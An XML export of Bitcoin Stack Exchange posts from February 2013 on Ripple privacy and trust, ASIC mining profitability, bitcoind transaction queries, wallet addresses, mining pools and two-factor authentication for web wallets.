  <row Id="7834" PostTypeId="1" AcceptedAnswerId="7837" CreationDate="2013-02-21T16:15:17.633" Score="3" ViewCount="102" Body="&lt;p&gt;If I use the official client at Ripple.com, and add someone to my contact list ... does the information &quot;I believe that X's Ripple address is Y&quot; get stored anywhere in unencrypted form? Is it broadcast to any central server?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume the answer is No, but I want to get an official confirmation. (These days many websites log a lot of user actions, my expectations from the Ripple client is that it does not).&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2013-02-21T17:25:36.843" Title="Do the various Ripple clients leak any data about account names?" Tags="|privacy|ripple|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7835" PostTypeId="1" AcceptedAnswerId="7847" CreationDate="2013-02-21T16:49:26.953" Score="4" ViewCount="4883" Body="&lt;p&gt;I'm thinking of purchasing an ASIC miner, but I'm not sure which one to go with as there seem to be multiple options. When they mention 20-60Gh/s, I'm not sure how many bitcoins can that mine in a specific time. I would like to know how to calculate how many BTC is mined with say 40 Gh/s. &lt;/p&gt;&#xA;" OwnerUserId="3029" LastEditorUserId="5406" LastEditDate="2016-04-01T09:07:59.063" LastActivityDate="2016-04-01T09:07:59.063" Title="Which ASIC Bitcoin Miner gets you best bang for you buck as of today?" Tags="|asic|mining-profitability|mining-hardware|" AnswerCount="2" CommentCount="1" ClosedDate="2015-07-26T06:35:58.020" ContentLicense="CC BY-SA 3.0" />
  <row Id="7836" PostTypeId="2" ParentId="7833" CreationDate="2013-02-21T17:19:41.860" Score="3" Body="&lt;p&gt;That's the thing with a pseudonymous digital currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is not knowable to you and me.  The larger pool operators might be able to look at their withdrawals to see if they are being re-spent but there's no way to tell definitively if the withdrawal was for a hosted (shared) EWallet (e.g., Mt. Gox) or to the miner's local wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With ASIC hardware, the bulk of the production cost has already been spent to acquire the hardware.   Very little of the production cost will be electricity.   This varied from GPUs where the inverse was mostly true.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If miners are indebted they will be needing to sell their production to repay the debt.  It seems likely most ASIC purchases were not purchased with debt so it then seems likely most ASIC mining operators aren't really  being forced to sell their mined BTCs whatsoever.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-02-21T17:19:41.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7837" PostTypeId="2" ParentId="7834" CreationDate="2013-02-21T17:25:36.843" Score="4" Body="&lt;p&gt;The answer is no. Notations are stored only in your wallet which is always encrypted using your username and password.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-02-21T17:25:36.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7838" PostTypeId="1" CreationDate="2013-02-21T17:25:59.793" Score="5" ViewCount="2847" Body="&lt;p&gt;Both on &quot;send&quot; and &quot;receive&quot; transactions, the command &lt;code&gt;gettransaction&lt;/code&gt; gives me the account name, and the receiving address, ignoring the send address. Why should I care about &lt;em&gt;receiving&lt;/em&gt; address in a &quot;receive&quot; transaction? I want to know the &lt;em&gt;send&lt;/em&gt; address, of course...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&quot;receive&quot; --&gt; send address, receive account&lt;/li&gt;&#xA;&lt;li&gt;&quot;send&quot; --&gt; send account, receive address&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Why doesn't it work this way, &lt;strong&gt;what am I missing&lt;/strong&gt;, and how can I get the send address in a receive transaction?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;edit&lt;/strong&gt;: I'd like to stress out the question about &lt;em&gt;why&lt;/em&gt; it behaves this way? as in this comment &quot;I don't get it: if I enter the txid into blockchain.info it tells me the sender address, since it obviously is present in the blockchain... so it's just a choice of &lt;code&gt;bitcoind&lt;/code&gt; not to tell me?&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;edit&lt;/strong&gt;: sending back anything to the from address is totally out of the scope of the question, so it is irrelevant if they might not wish receiving anything there.&lt;/p&gt;&#xA;" OwnerUserId="196" LastEditorUserId="196" LastEditDate="2013-03-30T00:56:35.297" LastActivityDate="2013-03-30T11:46:53.537" Title="Why does gettransaction report me only the receiving address?" Tags="|bitcoind|bitcoin-core-accounts|gettransaction|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7839" PostTypeId="2" ParentId="7835" CreationDate="2013-02-21T18:15:56.587" Score="0" Body="&lt;p&gt;By time you receive an ASIC that you order today, the orders ahead of you will have pushed the network to maybe 700Th/s.   So your 40Gh/s is .04 Th/s.   There are 3600 bitcoins generated each day.   .04/700*3600=.2057 bitcoins per day.   This will generate $6.17 per day, or $185 a month.   Also consider that the network speed will continue to increase.   So maybe after 6 months you are making half that.&lt;/p&gt;&#xA;" OwnerUserId="3031" LastActivityDate="2013-02-21T18:15:56.587" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7840" PostTypeId="2" ParentId="7838" CreationDate="2013-02-21T18:34:34.167" Score="1" Body="&lt;p&gt;I think it's because of the intended security model - you generate an address for a customer, who sends bitcoins to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Allowing people to figure out the sending address might cause people to create one bitcoin address, then ask customers to enter their sending address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for how...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found these three threads:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=4220.0&quot; rel=&quot;nofollow&quot;&gt;How do I know who paid me?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=4140.0&quot; rel=&quot;nofollow&quot;&gt;Bitcoin &quot;From&quot; address, can i change it?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=4561.0&quot; rel=&quot;nofollow&quot;&gt;Question abount getting the sender's address in a transaction&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-02-21T18:34:34.167" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7841" PostTypeId="2" ParentId="7800" CreationDate="2013-02-21T19:19:24.927" Score="4" Body="&lt;p&gt;Answer: It ends up that the firewall setting for the network were set in such a way that they were blocking the connection even though the port was open on the computer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For those who also run into this problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-If you curl the server and the connection is instantly refused, then you need to open up the port in your ip tables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-If your curl hangs like mine above and/or returns a curl: (7) error like above (and you have verified that both the rpc curl from the localhost of the bitcoind server is working and another port on the bitcoind server can be pinged remotely) then you probably have either computer firewall or network firewall settings blocking your port.&lt;/p&gt;&#xA;" OwnerUserId="3008" LastActivityDate="2013-02-21T19:19:24.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7842" PostTypeId="1" CreationDate="2013-02-21T19:42:11.073" Score="5" ViewCount="1644" Body="&lt;p&gt;Does anyone know where I might find a tutorial on how to deploy a bitcoinj server (essentially a replica of a bitcoind server with an rpc API) on Heroku?&lt;/p&gt;&#xA;" OwnerUserId="3008" LastActivityDate="2013-04-18T08:47:56.953" Title="How to run Bitcoinj on Heroku?" Tags="|bitcoind|json-rpc|bitcoinj|java|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7844" PostTypeId="1" AcceptedAnswerId="7845" CreationDate="2013-02-21T19:47:12.180" Score="3" ViewCount="154" Body="&lt;p&gt;If I trust someone, does everybody see exactly how much I trust them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At some point, a public directory of Ripple addresses might emerge, and people will know exactly how much their friends trust them, compared to how much they trust their other friends which might be awkward.&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="2306" LastEditDate="2013-02-21T22:27:09.097" LastActivityDate="2013-02-21T22:27:09.097" Title="Is Trust public in Ripple?" Tags="|ripple|trust|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7845" PostTypeId="2" ParentId="7844" CreationDate="2013-02-21T19:51:51.117" Score="5" Body="&lt;p&gt;Trust must be public because other people can use it. I agree, this can be awkward.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't see community/private credit as a major use case for Ripple in the short term because of issues just like this. But I hope that in the future, and maybe even with changes in social conventions, this may change the way people think about money.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look at how transparent people are now on Facebook. They publicly friend people and defriend them. So it could happen.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-02-21T19:51:51.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7847" PostTypeId="2" ParentId="7835" CreationDate="2013-02-21T21:27:19.620" Score="4" Body="&lt;p&gt;ASICminer and Avalon are already deploying, and they will hit over 100Th/s before too long.   Butterfly Labs has 75,000 chips on their way, each at 7.5Gh/s, this will account for another 560Th/s.  Avalon has sold out batch 1 and 2.   ASICminer is in the process of deploying their farm.   BFL has 19500+ orders.   Many of those orders are for multiple units.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, many people have pre-ordered based on the idea that they are going to get rich quick, so they have overbought.   This was part of why BFL has delayed so long I believe, to generate more orders than they would if people knew how far up the difficulty was going to go.   Go ahead and order if you want, but realize that ROI could be much longer than you anticipate.   Safe bet would be to wait a couple months to order, then you will have a much better idea.   Honestly at this point, there are so many orders in front of you, it will only make a few days difference whether you order now or later.&lt;/p&gt;&#xA;" OwnerUserId="3031" LastEditorUserId="3031" LastEditDate="2013-02-21T22:32:56.393" LastActivityDate="2013-02-21T22:32:56.393" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7848" PostTypeId="1" CreationDate="2013-02-21T22:32:45.847" Score="6" ViewCount="10706" Body="&lt;p&gt;I am attemting to purchase some bitcoins with a cash deposit to my bank using this site: &lt;a href=&quot;https://www.canadianbitcoins.com/index.php&quot;&gt;https://www.canadianbitcoins.com/index.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site requires me to validate my wallet address so they know where to deposit the bitcoins. I am very new at this and I don't know what my wallet address is. I don't even know if I have one yet, becuause all I have done is downloaded a bitcoin client (Multibit).&lt;/p&gt;&#xA;" OwnerUserId="3034" LastActivityDate="2016-09-20T08:24:55.520" Title="I've downloaded Multibit Bitcoin Client, but I don't know how to view what my wallet address is?" Tags="|wallet|address|multibit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7849" PostTypeId="1" AcceptedAnswerId="8534" CreationDate="2013-02-21T22:35:39.317" Score="4" ViewCount="1335" Body="&lt;p&gt;When I open a Ripple account, I can choose to fetch my wallet from&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Payward, Local Browser&lt;/li&gt;&#xA;&lt;li&gt;Payward&lt;/li&gt;&#xA;&lt;li&gt;Local Browser&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What does this mean? Can someone elaborate on the differences, and when is each option appropriate?&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2013-05-04T10:57:38.283" Title="What do the &quot;Fetch Wallet&quot; options when opening a Ripple wallet mean?" Tags="|ripple|" AnswerCount="1" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="7850" PostTypeId="1" CreationDate="2013-02-21T22:37:42.683" Score="4" ViewCount="201" Body="&lt;p&gt;What's the easiest way to get an email notification whenever I receive or send a Ripple payment?&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2014-01-26T06:51:34.303" Title="How can I get email notification when I get or make a Ripple payment?" Tags="|ripple|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7851" PostTypeId="2" ParentId="7848" CreationDate="2013-02-22T00:50:58.860" Score="6" Body="&lt;p&gt;Click 'Receiving', then look for an address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bvn4l.png&quot; alt=&quot;multibit ui&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-02-22T00:50:58.860" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7854" PostTypeId="1" AcceptedAnswerId="7872" CreationDate="2013-02-22T10:32:17.793" Score="0" ViewCount="558" Body="&lt;p&gt;Are two factor authentication (2FA) enabled wallets at mtgox/blockchain.info safe even with weak passwords? What are the risks here, except losing one's mobile phone?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A Google authenticator is used for the 2FA, the Google account itself is also 2FA enabled.&lt;/p&gt;&#xA;" OwnerUserId="2229" LastEditorUserId="5406" LastEditDate="2013-12-08T19:31:11.907" LastActivityDate="2013-12-08T19:31:11.907" Title="Are two factor authentication enabled wallets at mtgox or blockchain.info safe even with weak passwords?" Tags="|mtgox|blockchain.info|passphrase|two-factor|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7855" PostTypeId="1" CreationDate="2013-02-22T11:25:00.170" Score="7" ViewCount="7840" Body="&lt;p&gt;How can I send bitcoins in my web app without running the daemon on my server?&#xA;Is there a way to do it? Do third parties allow you to send through them?&lt;/p&gt;&#xA;" OwnerUserId="3037" LastEditorUserId="120" LastEditDate="2013-02-22T11:49:27.197" LastActivityDate="2020-09-10T01:53:31.017" Title="Sending bitcoins programatically without running a node" Tags="|bitcoind|daemon|offline|" AnswerCount="3" CommentCount="0" ClosedDate="2013-03-01T08:39:36.330" ContentLicense="CC BY-SA 3.0" />
  <row Id="7856" PostTypeId="2" ParentId="7855" CreationDate="2013-02-22T11:48:17.213" Score="0" Body="&lt;p&gt;If you could somehow track the outputs at your disposal (which you may therefor send in an outgoing transaction you could in fact create a transaction, sign it and submit it to a bitcoind daemon or blockchain.info (via the &lt;code&gt;sendrawtransaction&lt;/code&gt; API call) to get it into the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tracking outputs is the sole reason you likely have to run a daemon. Even if you create a single output for 100 BTC and then start creating transactions from that output, by splitting off small amounts and send the change back, it makes the transactions dependent on each other. As soon as a single transaction is not validated (due to a bug, incomplete fees or a double spend), all following transactions will also fail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Spending bitcoins without being connected to the network overlay is possible, but at some point you'll have to synchronize with the network to ensure the transactions have been accepted and to get fill up the output pool for future spends.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-02-22T11:48:17.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7857" PostTypeId="2" ParentId="7855" CreationDate="2013-02-22T12:07:20.420" Score="0" Body="&lt;p&gt;To send bitcoins you need:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Private key(s) for the address(es) being spent&lt;/li&gt;&#xA;&lt;li&gt;Transaction hash + index for each transaction previously received to those addresses whose funds will be used for spending in this transaction&lt;/li&gt;&#xA;&lt;li&gt;Bitcoin address(es) to send to, including change address if there will be change.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;The Bitcoin.org client does all this elegantly without the user needing to know anything except what address(es) to pay and the amount.  To construct a transaction manually means obtaining data from the blockchain, performing a cryptographic signature using the private key, and broadcasting that transaction to peer nodes.&lt;/p&gt;&#xA;&lt;p&gt;The &lt;a href=&quot;http://en.bitcoin.it/wiki/Raw_Transactions&quot; rel=&quot;nofollow noreferrer&quot;&gt;Raw Transactions API&lt;/a&gt; article on the Bitcoin.it Wiki describes this further.&lt;/p&gt;&#xA;&lt;p&gt;~~This is done using Javascript code from Brainwallet.org~~ [Update: this is defunct, link removed]:&lt;/p&gt;&#xA;&lt;p&gt;Now if you simply need to send from a node that is not on a live connection (but has a current blockchain), you can do this using the Armory client:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcoinarmory.com/using-offline-wallets-in-armory&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://bitcoinarmory.com/using-offline-wallets-in-armory&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Also the Electrum client apparently can be used to provide to you the raw transaction that could then be broadcast to spend a coin.  Electrum uses a back-end server that does all the work that the Bitcoin.org client would do in building the transaction.&lt;/p&gt;&#xA;&lt;p&gt;Once you have a raw transaction to broadcast, you can use the &lt;a href=&quot;http://blockchain.info/pushtx&quot; rel=&quot;nofollow noreferrer&quot;&gt;PushTx API&lt;/a&gt; on blockchain.info or BrainWallet.org will let you [broadcast a transaction][3] as well.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2020-09-10T01:53:31.017" LastActivityDate="2020-09-10T01:53:31.017" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="7858" PostTypeId="2" ParentId="7855" CreationDate="2013-02-22T12:08:02.617" Score="2" Body="&lt;p&gt;Yes this is completely possible. There are services which run fully featured API's that provide almost everything that the client can do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blockchain.info/api&quot; rel=&quot;nofollow&quot; title=&quot;Blockchain API&quot;&gt;http://blockchain.info/api&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are other merchant processors which have similar functionality depending on exactly what you want to do also.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2013-02-22T12:08:02.617" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7860" PostTypeId="1" AcceptedAnswerId="7878" CreationDate="2013-02-22T16:48:20.663" Score="2" ViewCount="10570" Body="&lt;p&gt;I'm looking to just start mining with my cheap laptop, but wanted to just ask whats the easiest mining software to setup and let it run in the background when my machine is idle. And the software has to be compatible with the new ASIC boards coming out too. I guess which software do you recommend without much configuration besides putting in your btc address.&lt;/p&gt;&#xA;" OwnerUserId="3029" LastEditorUserId="5406" LastEditDate="2016-03-31T16:56:07.107" LastActivityDate="2019-07-14T09:47:47.880" Title="What bitcoin mining software is easy to use and start mining immediately with a pool &amp; new ASIC boards?" Tags="|asic|mining-software|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7861" PostTypeId="1" AcceptedAnswerId="7862" CreationDate="2013-02-22T16:54:58.943" Score="2" ViewCount="2601" Body="&lt;p&gt;I'm looking to join a bitcoin mining pool. Which are the top five mining pools with good community support?&lt;/p&gt;&#xA;" OwnerUserId="3029" LastEditorUserId="196" LastEditDate="2014-02-01T09:50:51.627" LastActivityDate="2015-03-14T22:11:42.750" Title="As of Feb 2013, which are the top 5 bitcoin mining pools to join with a good community?" Tags="|mining-pools|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7862" PostTypeId="2" ParentId="7861" CreationDate="2013-02-22T18:48:42.640" Score="4" Body="&lt;p&gt;According to the blockchain.info's &lt;a href=&quot;http://blockchain.info/pools?timespan=4days&quot; rel=&quot;nofollow&quot;&gt;chart&lt;/a&gt;, as of Feb 2013 the top mining pools apparently are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;BTC Guild&lt;/li&gt;&#xA;&lt;li&gt;50BTC&lt;/li&gt;&#xA;&lt;li&gt;Deepbit&lt;/li&gt;&#xA;&lt;li&gt;Slush&lt;/li&gt;&#xA;&lt;li&gt;EclipseMC&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I can't say for the &quot;good community&quot; since that's obviously quite subjective.&lt;/p&gt;&#xA;" OwnerUserId="196" LastEditorUserId="196" LastEditDate="2014-02-01T09:51:05.910" LastActivityDate="2014-02-01T09:51:05.910" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7863" PostTypeId="2" ParentId="7831" CreationDate="2013-02-22T19:45:19.197" Score="9" Body="&lt;p&gt;If you look at low price orders posting date, you will notice most of them are relatively older OR with zero feedback. The ones that with some positive feedbacks are genearlly in line with the price of the order posting date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it is more of a combination of old orders and scams.&lt;/p&gt;&#xA;" OwnerUserId="2986" LastActivityDate="2013-02-22T19:45:19.197" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7864" PostTypeId="1" AcceptedAnswerId="7866" CreationDate="2013-02-22T20:32:16.783" Score="11" ViewCount="2765" Body="&lt;p&gt;When sending a transaction using a wallet at blockchain.info you can add a public message. This message shows up when viewing the transaction at blockchain.info. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this message embedded in the actual block chain or is it just a record in the database of the server of blockchain.info?&lt;/p&gt;&#xA;" OwnerUserId="2597" LastActivityDate="2013-02-22T22:46:36.123" Title="Is a public message at blockchain.info embedded in the actual block chain?" Tags="|blockchain|" AnswerCount="1" CommentCount="1" ClosedDate="2013-02-25T08:38:45.793" ContentLicense="CC BY-SA 3.0" />
  <row Id="7865" PostTypeId="2" ParentId="3034" CreationDate="2013-02-22T21:26:03.493" Score="2" Body="&lt;p&gt;I took the code &lt;a href=&quot;https://blockchain.info/DecryptWallet.html&quot; rel=&quot;nofollow&quot;&gt;from Blockchain.info&lt;/a&gt; and converted it into a &lt;a href=&quot;https://gist.github.com/ripper234/5016653&quot; rel=&quot;nofollow&quot;&gt;standalone javascript file&lt;/a&gt; that you can run with node.js.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There were some issues as the original code didn't handle wrong passwords, and my code now has a single function &lt;code&gt;check_password(encrypted_json, password)&lt;/code&gt; that returns true if it can decrypt it, and false if not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, my goal is to take the above and use it to recover a friend's password. I'll generate a list of all combinations he might have chosen, and test it with this script.&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2013-02-22T21:26:03.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7866" PostTypeId="2" ParentId="7864" CreationDate="2013-02-22T22:46:36.123" Score="7" Body="&lt;p&gt;It did for a few days, before the blockchain.info operator concluded blockchain bloat was not good for Bitcoin.  Now those are only stored on Blockchain.info hosts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more details, see:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcointalk.org/index.php?topic=40264.msg1165261#msg1165261&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://bitcointalk.org/index.php?topic=40264.msg1165261#msg1165261&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/a/4709/153&quot;&gt;https://bitcoin.stackexchange.com/a/4709/153&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2013-02-22T22:46:36.123" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7867" PostTypeId="1" CreationDate="2013-02-23T02:18:54.937" Score="2" ViewCount="116" Body="&lt;p&gt;Not part of the protocol, but rather a 3rd party?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A directory could be built starting from &lt;a href=&quot;https://bitcointalk.org/index.php?topic=145506.0&quot; rel=&quot;nofollow&quot;&gt;this thread&lt;/a&gt;, where a lot of known Bitcoin figures posted their Ripple address (myself included).&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2013-02-23T02:18:54.937" Title="Is there a Ripple address directory?" Tags="|ripple|" AnswerCount="0" CommentCount="1" ClosedDate="2019-07-17T17:31:08.490" ContentLicense="CC BY-SA 3.0" />
  <row Id="7868" PostTypeId="1" AcceptedAnswerId="8144" CreationDate="2013-02-23T02:20:58.913" Score="10" ViewCount="1030" Body="&lt;p&gt;I would like to add New Israeli Shekels (ILS) into Ripple.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I go about doing that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To clarify, when I try to enter ILS in the Trust page, it doesn't recognize it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WezJm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see that I can still add it, and in fact add arbitrary currencies such as XYZ (Ripple shorterns whatever I enter in the currency box to three letters if it doesn't recognize it).&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Why doesn't ILS appear in the autocomplete box?&lt;/li&gt;&#xA;&lt;li&gt;What does it mean that I trust someone with 1 XYZ or ZYX?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="78" LastEditorUserId="78" LastEditDate="2013-02-23T08:16:25.090" LastActivityDate="2014-06-13T23:43:28.937" Title="How can a currency be added to Ripple?" Tags="|ripple|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7869" PostTypeId="2" ParentId="7573" CreationDate="2013-02-23T02:38:36.410" Score="1" Body="&lt;p&gt;The orderbook (&lt;a href=&quot;https://ripple.com/client/#trade&quot; rel=&quot;nofollow&quot;&gt;found inside the Ripple client&lt;/a&gt; once you're logged in and funded) does in fact show the price, it's just a huge spread and confusing UI that makes it difficult to understand now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now, the best bid is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;10BTC   10BTC   5,000.00000XR&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the best ask is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;43,998.00000XRP 10BTC   10B&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which means someone is proposing to buy BTC at the price of 5000 XRPs, and another person is offering to sell BTC at the price of 43,399.8 XRP. So, the spread is huge, but one can still say the &quot;price&quot; of 1 XRP right now is somewhere between 0.000002 and 0.0002 BTC&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="78" LastEditDate="2013-02-25T06:34:11.003" LastActivityDate="2013-02-25T06:34:11.003" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7870" PostTypeId="1" CreationDate="2013-02-23T02:40:03.990" Score="5" ViewCount="1144" Body="&lt;p&gt;Is there a service that exposes the orderbook without requiring a Ripple account?&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2013-10-21T21:05:04.087" Title="How can you view the Ripple orderbook without being logged in?" Tags="|ripple|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7871" PostTypeId="1" CreationDate="2013-02-23T03:38:52.107" Score="4" ViewCount="1719" Body="&lt;p&gt;I see &lt;a href=&quot;https://ripple.com/wiki/Gateway_List&quot; rel=&quot;nofollow&quot;&gt;Ripple now has 2 Gateways&lt;/a&gt;, WeExchange and Bitstamp.&#xA;I sent 1 BTC to WeExchange, and got in return 1 &quot;WeExchange BTC in Ripple&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I exchange it directly for 1 &quot;Bitstsamp BTC in Ripple&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Trade page in the client doesn't seem to allow me to select BTC as both ends of a trade. I don't want to go through another intermediate currency, I think I'll lose a lot because of the margins - I expect that trading BTC issued by different exchanges should be relatively without spread.&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2013-03-01T18:00:52.277" Title="How do I exchange the issuer of my BTC in Ripple?" Tags="|ripple|ripple-gateways|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7872" PostTypeId="2" ParentId="7854" CreationDate="2013-02-23T03:44:04.970" Score="2" Body="&lt;p&gt;Blockchain.info does not use 2FA for encrypting the wallet and instead uses it only for limiting access via the web interface.  If your system is compromised with a keylogger, and the attacker has access to the blockchain.info wallet (e.g., the backups sent via e-mail), for instance, then the attacker can perform a replay attack and spend the funds from the wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if your system is compromised the attacker might be able to obtain the password and OTP code and use that for login by simply being first to login with those credentials.  Mt. Gox &lt;a href=&quot;http://bitcointalk.org/index.php?topic=109424.0&quot; rel=&quot;nofollow&quot;&gt;implemented 2FA correctly&lt;/a&gt;, by requiring the OTP for each withdrawal request so that is less of an issue with them.  Not all exchanges and EWallets with 2FA require that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So there still is better protection when when accessing your account only from a secure system, but those who live a &lt;a href=&quot;http://technet.microsoft.com/en-us/security/bulletin/&quot; rel=&quot;nofollow&quot;&gt;little more dangerously&lt;/a&gt; can probably still keep their funds safe thanks to 2FA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, the 2FA device should always be separate from the device where the wallet is being accessed from.  So accessing Blockchain for Android from a mobile in which the 2FA client is also running is not a secure configuration.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2013-02-23T03:50:00.573" LastActivityDate="2013-02-23T03:50:00.573" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
